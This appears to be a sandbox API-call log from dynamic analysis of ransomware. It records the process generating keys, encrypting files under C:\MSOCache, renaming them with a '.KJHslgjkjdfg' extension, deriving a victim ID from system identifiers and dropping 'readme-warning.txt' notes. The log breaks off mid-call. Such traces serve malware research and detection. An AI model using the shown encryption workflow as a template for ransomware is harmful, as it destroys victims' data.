[0151.717] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0151.717] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0151.717] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0151.717] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0x1, lpOverlapped=0x0) returned 1 [0151.796] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0151.796] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0151.796] GetProcessHeap () returned 0x990000 [0151.796] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0151.796] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df4e0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df4e0*=0x30) returned 1 [0151.796] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0151.796] WriteFile (in: hFile=0x124, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df4f8*=0x30, lpOverlapped=0x0) returned 1 [0151.796] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0151.796] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0151.796] WriteFile (in: hFile=0x124, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0151.796] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0151.797] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0151.797] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0151.797] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0151.797] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.797] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x106f, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x106f, lpOverlapped=0x0) returned 1 [0151.811] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x1070, dwBufLen=0x1070 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x1070) returned 1 [0151.811] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.811] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x1070, lpOverlapped=0x0) returned 1 [0151.811] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0151.811] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1134, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.811] SetEndOfFile (hFile=0x124) returned 1 [0151.814] GetProcessHeap () returned 0x990000 [0151.814] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0151.814] GetProcessHeap () returned 0x990000 [0151.814] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0151.814] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.kjhslgjkjdfg")) returned 1 [0151.815] CloseHandle (hObject=0x124) returned 1 [0151.815] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0151.815] GetProcessHeap () returned 0x990000 [0151.815] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0151.815] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0151.815] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29df330 | out: pbData=0x9af7b0, pdwDataLen=0x29df330) returned 1 [0151.815] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0151.815] GetProcessHeap () returned 0x990000 [0151.815] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0151.815] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0151.816] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29df330 | out: pbData=0x9af7f8, pdwDataLen=0x29df330) returned 1 [0151.816] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0151.816] GetProcessHeap () returned 0x990000 [0151.816] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9dc8a8 [0151.816] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0151.816] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9dc8a8, pdwDataLen=0x29df330 | out: pbData=0x9dc8a8, pdwDataLen=0x29df330) returned 1 [0151.816] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0151.816] GetProcessHeap () returned 0x990000 [0151.816] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0151.816] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0151.816] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29def10 | out: pbData=0x9af840, pdwDataLen=0x29def10) returned 1 [0151.816] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0151.816] GetProcessHeap () returned 0x990000 [0151.816] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b1918 [0151.816] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0151.816] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b1918, pdwDataLen=0x29def10 | out: pbData=0x9b1918, pdwDataLen=0x29def10) returned 1 [0151.816] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0151.816] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29def0c | out: phkResult=0x29def0c*=0x124) returned 0x0 [0151.816] RegQueryValueExA (in: hKey=0x124, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29def18, lpcbData=0x29def14*=0x400 | out: lpType=0x0, lpData=0x29def18*=0x30, lpcbData=0x29def14*=0x18) returned 0x0 [0151.817] RegCloseKey (hKey=0x124) returned 0x0 [0151.817] GetProcessHeap () returned 0x990000 [0151.817] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0151.817] GetProcessHeap () returned 0x990000 [0151.817] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1918 | out: hHeap=0x990000) returned 1 [0151.817] GetProcessHeap () returned 0x990000 [0151.817] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b1918 [0151.817] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dec80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0151.817] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b1918, pdwDataLen=0x29dece4 | out: pbData=0x9b1918, pdwDataLen=0x29dece4) returned 1 [0151.817] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0151.817] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29dece8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0151.817] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29dece0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29dece0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0151.817] GetProcessHeap () returned 0x990000 [0151.817] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1918 | out: hHeap=0x990000) returned 1 [0151.817] wsprintfA (in: param_1=0x29def2f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0151.817] wsprintfA (in: param_1=0x29df33c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0151.817] GetProcessHeap () returned 0x990000 [0151.817] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0151.817] wsprintfW (in: param_1=0x29de30c, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\readme-warning.txt") returned 81 [0151.818] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\readme-warning.txt" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0151.819] WriteFile (in: hFile=0x124, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29de308, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29de308*=0x3b3, lpOverlapped=0x0) returned 1 [0151.820] CloseHandle (hObject=0x124) returned 1 [0151.820] GetProcessHeap () returned 0x990000 [0151.820] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dc8a8 | out: hHeap=0x990000) returned 1 [0151.820] GetProcessHeap () returned 0x990000 [0151.820] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0151.820] GetProcessHeap () returned 0x990000 [0151.820] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0151.820] GetProcessHeap () returned 0x990000 [0151.820] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0151.820] FindClose (in: hFindFile=0x9b6528 | out: hFindFile=0x9b6528) returned 1 [0151.821] GetProcessHeap () returned 0x990000 [0151.821] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dc610 | out: hHeap=0x990000) returned 1 [0151.821] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{90140000-001B-0409-1000-0000000FF1CE}-C", cAlternateFileName="{94E50~1")) returned 1 [0151.821] GetProcessHeap () returned 0x990000 [0151.821] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8e) returned 0x9b2468 [0151.821] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6528 [0151.822] GetProcessHeap () returned 0x990000 [0151.822] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0151.822] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0151.822] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0151.822] GetProcessHeap () returned 0x990000 [0151.822] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x290) returned 0x9dc610 [0151.822] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0151.824] GetProcessHeap () returned 0x990000 [0151.824] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0151.824] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0151.824] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0151.824] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0151.874] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0151.874] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0151.874] GetProcessHeap () returned 0x990000 [0151.874] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0151.874] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df4e0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df4e0*=0x30) returned 1 [0151.874] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0151.874] WriteFile (in: hFile=0x124, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df4f8*=0x30, lpOverlapped=0x0) returned 1 [0151.874] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0151.875] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0151.875] WriteFile (in: hFile=0x124, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0151.875] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0151.875] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0151.875] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0151.875] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0151.875] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.875] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x978, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x978, lpOverlapped=0x0) returned 1 [0151.875] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x980, dwBufLen=0x980 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x980) returned 1 [0151.875] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.875] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x980, lpOverlapped=0x0) returned 1 [0151.876] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0151.876] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.876] SetEndOfFile (hFile=0x124) returned 1 [0151.878] GetProcessHeap () returned 0x990000 [0151.878] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0151.878] GetProcessHeap () returned 0x990000 [0151.879] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0151.879] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.kjhslgjkjdfg")) returned 1 [0151.881] CloseHandle (hObject=0x124) returned 1 [0151.881] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fb48f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2fb48f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc967850, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x29c6dbd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WordLR.cab", cAlternateFileName="")) returned 1 [0151.881] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0151.882] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x29df508 | out: lpFileSize=0x29df508*=43806141) returned 1 [0151.882] GetProcessHeap () returned 0x990000 [0151.882] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0151.882] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0151.882] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.882] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f4*=0x3, lpOverlapped=0x0) returned 1 [0152.243] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0152.244] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0152.244] GetProcessHeap () returned 0x990000 [0152.244] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0152.244] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df4d8*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df4d8*=0x30) returned 1 [0152.244] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0152.245] WriteFile (in: hFile=0x124, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df4f4*=0x30, lpOverlapped=0x0) returned 1 [0152.245] WriteFile (in: hFile=0x124, lpBuffer=0x29df4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df4fc*, lpNumberOfBytesWritten=0x29df4f4*=0x4, lpOverlapped=0x0) returned 1 [0152.245] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f4*=0x10, lpOverlapped=0x0) returned 1 [0152.245] WriteFile (in: hFile=0x124, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df4f4*=0x80, lpOverlapped=0x0) returned 1 [0152.245] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0152.245] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f4*=0x8, lpOverlapped=0x0) returned 1 [0152.245] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0152.245] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0152.245] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0152.245] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0153.042] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, 